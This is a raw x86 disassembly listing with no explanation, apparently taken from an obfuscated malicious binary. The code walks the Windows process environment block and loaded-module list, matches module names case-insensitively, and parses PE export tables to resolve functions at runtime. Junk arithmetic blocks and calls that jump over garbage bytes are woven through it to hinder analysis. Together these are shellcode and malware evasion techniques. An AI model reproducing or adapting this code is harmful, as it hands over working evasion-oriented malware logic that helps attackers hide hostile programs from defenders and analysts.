mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push eax
push esi
add esp, 4
xor eax, 0x18584
xor eax, 0x882c
pop eax
push edx
add edx, 0x15a44
pop edx
push ebx
push edx
add esp, 4
or ebx, 0x106bd
sub ebx, 0x11e58
sub ebx, 0xf764
pop ebx
cmp dword [ebp - 0x1518], 0
jne 0x40c8ac
mov dword [ebp - 0x710], 0
jmp 0x40cb53
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push edi
push edi
add esp, 4
and edi, 0x48f3
xor edi, 0xddff
and edi, 0xf5e3
pop edi
push edx
and edx, 0xda5d
call 0x40c8ec
add byte [edi], bh
xor ecx, dword [eax + 0x4f]
inc ecx
cmp byte [eax], bh
cmp cl, byte [ebx + eax*4 - 0x3c]
add al, 0x5a
cmp dword [ebp - 0xc58], 0
jne 0x40c908
mov dword [ebp - 0x710], 0
jmp 0x40cb53
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push ebx
push ecx
add esp, 4
or ebx, 0x18007
pop ebx
push edx
push ecx
add esp, 4
sub edx, 0x63bd
pop edx
push esi
sub esi, 0x93c
add esi, 0xea79
sub esi, 0xc567
sub esi, 0xb600
pop esi
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push eax
push ecx
add esp, 4
sub eax, 0x11b26
and eax, 0x16dd6
sub eax, 0xcf74
pop eax
push esi
or esi, 0x2e6d
add esi, 0x183fa
or esi, 0x1149e
xor esi, 0x350f
pop esi
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push esi
push edi
add esp, 4
add esi, 0x138a5
pop esi
push eax
and eax, 0x10312
add eax, 0x4445
pop eax
push eax
xor eax, 0xad5b
or eax, 0x8bef
pop eax
push ecx
jmp 0x40ca2a
pop ecx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x40ca48
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x40caa2
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x40c970
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x40c970
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x40ca8c
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x40ca96
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x40caeb
push edx
push ecx
add esp, 4
and edx, 0x108b3
or edx, 0x16e91
add edx, 0xd1df
pop edx
push esi
push edi
add esp, 4
xor esi, 0xf76c
jmp 0x40cad5
jmp 0x40cadc
pop esi
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x40cb53
push ecx
push eax
add esp, 4
xor ecx, 0x7b4d
pop ecx
push eax
call 0x40cb05
add byte [edx + 0x4b], al
dec esi
cmp ecx, dword [edi + 0x42]
dec ecx
add esp, 4
pop eax
push eax
push eax
add esp, 4
or eax, 0x12b9e
pop eax
push edi
add edi, 0xdbb0
pop edi
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x40cb49
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x40c914
mov dword [ebp - 0x710], 0
push edx
add edx, 0x3513
pop edx
push esi
push esi
add esp, 4
and esi, 0xfd04
call 0x40cb75
add byte [ebp + edi + 0x33], al
dec edi
xor al, byte [edi + 0x3b]
dec ebx
inc ecx
add esp, 4
or esi, 0x129e1
and esi, 0x4625
pop esi
cmp dword [ebp - 0x710], 0
jne 0x40cbcf
push ecx
push ebx
add esp, 4
xor ecx, 0x13291
or ecx, 0x11354
or ecx, 0x174ce
xor ecx, 0x15d38
pop ecx
push ecx
sub ecx, 0x8371
xor ecx, 0x10b80
or ecx, 0x63bd
pop ecx
mov dword [ebp - 0xa58], 0
jmp 0x40d6f7
push eax
and eax, 0x6b0e
and eax, 0x15f7e
call 0x40cbea
add byte [ebx + 0x3c], cl
xor al, 0x4e
dec esp
cmp eax, 0xc4834135
add al, 0xe8
or eax, dword [eax]
add byte [eax], al
add byte [esi + 0x44], cl
dec edx
inc ebp
cmp dword [ebx + 0x4a], eax
dec eax
inc eax
inc ebx
add esp, 4
pop eax
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x40cc40
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x40cf31
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x40cc68
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x40cf31
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x40cc9a
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x40cf31
mov ecx, dword [ebp - 0x300]